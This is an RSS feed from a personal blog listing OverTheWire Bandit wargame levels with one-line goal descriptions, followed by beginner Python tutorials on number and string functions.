<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Gajendra Mahato</title><link>http://gajendramahato.com.np/</link><description>Recent content on Gajendra Mahato</description><generator>Hugo -- 0.149.0</generator><language>en</language><lastBuildDate>Tue, 13 Jan 2026 00:00:00 +0000</lastBuildDate><atom:link href="http://gajendramahato.com.np/index.xml" rel="self" type="application/rss+xml"/><item><title>Bandit: Level 0 =&gt; Level 1</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-0-level-1/</link><pubDate>Wed, 01 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-0-level-1/</guid><description>The goal of this level is to log into the game using SSH.&amp;amp;#x20;</description></item><item><title>Bandit: Level 1 =&gt; Level 2</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-1-level-2/</link><pubDate>Thu, 02 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-1-level-2/</guid><description>The password for the next level is stored in a file called `-` located in the home directory.</description></item><item><title>Bandit: Level 2 =&gt; Level 3</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-2-level-3/</link><pubDate>Fri, 03 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-2-level-3/</guid><description>The password for the next level is stored in a file called `spaces in this filename` located in the home directory.</description></item><item><title>Bandit: Level 3 =&gt; Level 4</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-3-level-4/</link><pubDate>Sat, 04 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-3-level-4/</guid><description>The password for the next level is stored in a hidden file in the `inhere` directory.</description></item><item><title>Bandit: Level 4 =&gt; Level 5</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-4-level-5/</link><pubDate>Sun, 05 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-4-level-5/</guid><description>The password for the next level is stored in the only human-readable file in the `inhere` directory. Tip: if your terminal is messed up, try the “reset” command.</description></item><item><title>Bandit: Level 5 =&gt; Level 6</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-5-level-6/</link><pubDate>Mon, 06 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-5-level-6/</guid><description>The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties:</description></item><item><title>Bandit: Level 6 =&gt; Level 7</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-6-level-7/</link><pubDate>Tue, 07 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-6-level-7/</guid><description>The password for the next level is stored somewhere on the server and has all of the following properties:</description></item><item><title>Bandit: Level 7 =&gt; Level 8</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-7-level-8/</link><pubDate>Wed, 08 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-7-level-8/</guid><description>The password for the next level is stored in the file `data.txt` next to the word `millionth`</description></item><item><title>Bandit: Level 8 =&gt; Level 9</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-8-level-9/</link><pubDate>Thu, 09 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-8-level-9/</guid><description>The password for the next level is stored in the file `data.txt` and is the only line of text that occurs only once.</description></item><item><title>Bandit: Level 9 =&gt; Level 10</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-9-level-10/</link><pubDate>Fri, 10 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-9-level-10/</guid><description>The password for the next level is stored in the file `data.txt` in one of the few human-readable strings, preceded by several `=` characters.</description></item><item><title>Bandit: Level 10 =&gt; Level 11</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-10-level-11/</link><pubDate>Sat, 11 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-10-level-11/</guid><description>The password for the next level is stored in the file `data.txt`, which contains `base64` encoded data.</description></item><item><title>Bandit: Level 11 =&gt; Level 12</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-11-level-12/</link><pubDate>Sun, 12 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-11-level-12/</guid><description>The password for the next level is stored in the file `data.txt`, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions.</description></item><item><title>Bandit: Level 12 =&gt; Level 13</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-12-level-13/</link><pubDate>Mon, 13 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-12-level-13/</guid><description>The password for the next level is stored in the file data.txt, which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under /tmp in which you can work. Use mkdir with a hard to guess directory name. Or better, use the command “mktemp -d”. Then copy the datafile using cp, and rename it using mv (read the manpages!)</description></item><item><title>Bandit: Level 13 =&gt; Level 14</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-13-level-14/</link><pubDate>Tue, 14 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-13-level-14/</guid><description>The password for the next level is stored in `/etc/bandit_pass/bandit14` and can only be read by user `bandit14`. For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level. **Note:** `localhost` is a hostname that refers to the machine you are working on.</description></item><item><title>Bandit: Level 14 =&gt; Level 15</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-14-level-15/</link><pubDate>Wed, 15 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-14-level-15/</guid><description>The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost.</description></item><item><title>Bandit: Level 15 =&gt; Level 16</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-15-level-16/</link><pubDate>Thu, 16 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-15-level-16/</guid><description>The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption.</description></item><item><title>Bandit: Level 16 =&gt; Level 17</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-16-level-17/</link><pubDate>Fri, 17 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-16-level-17/</guid><description>The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000. First find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it.</description></item><item><title>Bandit: Level 17 =&gt; Level 18</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-17-level-18/</link><pubDate>Sat, 18 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-17-level-18/</guid><description>There are 2 files in the homedirectory: `passwords.old and passwords.new`. The password for the next level is in `passwords.new` and is the only line that has been changed between `passwords.old and passwords.new`</description></item><item><title>Bandit: Level 18 =&gt; Level 19</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-18-level-19/</link><pubDate>Sun, 19 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-18-level-19/</guid><description>The password for the next level is stored in a file `readme` in the homedirectory. Unfortunately, someone has modified `.bashrc` to log you out when you log in with SSH.</description></item><item><title>Bandit: Level 19 =&gt; Level 20</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-19-level-20/</link><pubDate>Mon, 20 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-19-level-20/</guid><description>To gain access to the next level, you should use the `setuid` binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place `(/etc/bandit_pass)`, after you have used the setuid binary.</description></item><item><title>Bandit: Level 20 =&gt; Level 21</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-20-level-21/</link><pubDate>Tue, 21 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-20-level-21/</guid><description>There is a setuid `binary` in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level `bandit20`. If the password is correct, it will transmit the password for the next level `bandit21`.</description></item><item><title>Bandit: Level 21 =&gt; Level 22</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-21-level-22/</link><pubDate>Wed, 22 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-21-level-22/</guid><description>A program is running automatically at regular intervals from `cron`, the time-based job scheduler. Look in `/etc/cron.d/` for the configuration and see what command is being executed.</description></item><item><title>Bandit: Level 22 =&gt; Level 23</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-22-level-23/</link><pubDate>Thu, 23 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-22-level-23/</guid><description>A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.</description></item><item><title>Bandit: Level 23 =&gt; Level 24</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-23-level-24/</link><pubDate>Fri, 24 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-23-level-24/</guid><description>A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.</description></item><item><title>Bandit: Level 24 =&gt; Level 25</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-24-level-25/</link><pubDate>Sat, 25 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-24-level-25/</guid><description>A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pin code. There is no way to retrieve the pin code except by going through all the 10000 combinations, called brute-forcing.</description></item><item><title>Bandit: Level 25 =&gt; Level 26</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-25-level-26/</link><pubDate>Sun, 26 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-25-level-26/</guid><description>Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.</description></item><item><title>Bandit: Level 26 =&gt; Level 27</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-26-level-27/</link><pubDate>Mon, 27 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-26-level-27/</guid><description>Good job getting a shell! Now hurry and grab the password for `bandit27`!</description></item><item><title>Bandit: Level 27 =&gt; Level 28</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-27-level-28/</link><pubDate>Tue, 28 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-27-level-28/</guid><description>There is a git repository at `ssh://bandit27-git@localhost/home/bandit27-git/repo` via the port `2220`. The password for the user `bandit27-git` is the same as for the user `bandit27`. Clone the repository and find the password for the next level.</description></item><item><title>Bandit: Level 28 =&gt; Level 29</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-28-level-29/</link><pubDate>Wed, 29 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-28-level-29/</guid><description>There is a git repository at `ssh://bandit28-git@localhost/home/bandit28-git/repo` via the port `2220`. The password for the user `bandit28-git` is the same as for the user `bandit28`.</description></item><item><title>Bandit: Level 29 =&gt; Level 30</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-29-level-30/</link><pubDate>Thu, 30 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-29-level-30/</guid><description>There is a git repository at `ssh://bandit29-git@localhost/home/bandit29-git/repo` via the port `2220`. The password for the user `bandit29-git` is the same as for the user `bandit29`.</description></item><item><title>Bandit: Level 30 =&gt; Level 31</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-30-level-31/</link><pubDate>Fri, 31 Jan 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-30-level-31/</guid><description>There is a git repository at `ssh://bandit30-git@localhost/home/bandit30-git/repo` via the port `2220`. The password for the user `bandit30-git` is the same as for the user `bandit30`.</description></item><item><title>Bandit: Level 31 =&gt; Level 32</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-31-level-32/</link><pubDate>Sat, 01 Feb 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-31-level-32/</guid><description>There is a git repository at ssh://bandit31-git@localhost/home/bandit31-git/repo via the port 2220. The password for the user bandit31-git is the same as for the user bandit31.</description></item><item><title>Bandit: Level 32 =&gt; Level 33</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-32-level-33/</link><pubDate>Sun, 02 Feb 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-32-level-33/</guid><description>After all this git stuff, it’s time for another escape. Good luck!</description></item><item><title>📑 Bandit: Level 33 =&gt; Level 34</title><link>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-33-level-34/</link><pubDate>Mon, 03 Feb 2020 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/overthewire-bandit/bandit-level-33-level-34/</guid><description>At this moment, level 34 does not exist.</description></item><item><title>✅ `floor()`</title><link>http://gajendramahato.com.np/posts/tipsandtricks/programming/2._number/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/programming/2._number/</guid><description>&lt;p&gt;Returns the nearest whole number &lt;strong&gt;less than or equal&lt;/strong&gt; to the given number.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;math&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;3.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 3 &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;3.9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 3 &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# -4 &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;2.8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# -3 &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="-trunc"&gt;✅ &lt;code&gt;trunc()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Cuts off the decimal part and moves the number &lt;strong&gt;towards zero&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;trunc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;2.8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 2 &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;trunc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;2.8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# -2 &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="-number-conversion"&gt;🔁 Number Conversion&lt;/h2&gt;
&lt;h3 id="-binary"&gt;➤ Binary&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#39;0b10&amp;#39; &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;10&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 2 &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="-octal"&gt;➤ Octal&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;oct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#39;0o100&amp;#39; &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;100&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 64 &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="-hexadecimal"&gt;➤ Hexadecimal&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#39;0x40&amp;#39; &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;40&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 64 &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="-decimal"&gt;🔢 Decimal&lt;/h2&gt;
&lt;p&gt;Used for exact decimal values (like money).&lt;/p&gt;</description></item><item><title>✅ String Basics in Python</title><link>http://gajendramahato.com.np/posts/tipsandtricks/programming/3._strings/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/programming/3._strings/</guid><description>&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;chai&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Masala Chai&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chai&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="c1"&gt;# Masala → gets characters from index 0 to 5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chai&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;# masala chai → converts all to small letters&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chai&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;# MASALA CHAI → converts all to capital letters&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chai&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;# Masala Chai → removes space from start and end only&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chai&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Masala&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Lemon&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;# Lemon Chai → replaces word&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chai&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Chai&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;# 7 → shows starting index of word&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chai&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Chai&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;# 1 → counts how many times word appears&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="-split--splits-string-into-list"&gt;✅ &lt;code&gt;split()&lt;/code&gt; – splits string into list&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;chai_list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Lemon, Ginger, Masala, Mint&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chai_list&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;# [&amp;#39;Lemon,&amp;#39;, &amp;#39;Ginger,&amp;#39;, &amp;#39;Masala,&amp;#39;, &amp;#39;Mint&amp;#39;] → split by space (default)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chai_list&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;, &amp;#34;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;# [&amp;#39;Lemon&amp;#39;, &amp;#39;Ginger&amp;#39;, &amp;#39;Masala&amp;#39;, &amp;#39;Mint&amp;#39;] → split by comma + space&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="-string-slicing"&gt;✅ String Slicing&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;0123456789&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;[:]&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#39;0123456789&amp;#39; → full string&lt;/span&gt;
